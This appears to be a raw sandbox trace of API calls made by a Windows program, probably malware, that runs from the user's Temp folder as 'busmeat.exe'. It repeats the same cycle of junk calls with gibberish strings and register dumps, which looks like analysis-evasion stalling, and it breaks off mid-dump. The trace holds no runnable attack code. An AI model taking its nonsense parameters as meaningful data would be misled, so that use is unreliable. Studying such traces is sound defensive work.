	[0066.203] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.204] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.204] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.204] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.204] GetConsoleCP () returned 0x0
	[0066.204] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.204] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.205] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.205] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.205] GetConsoleCP () returned 0x0
	[0066.205] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 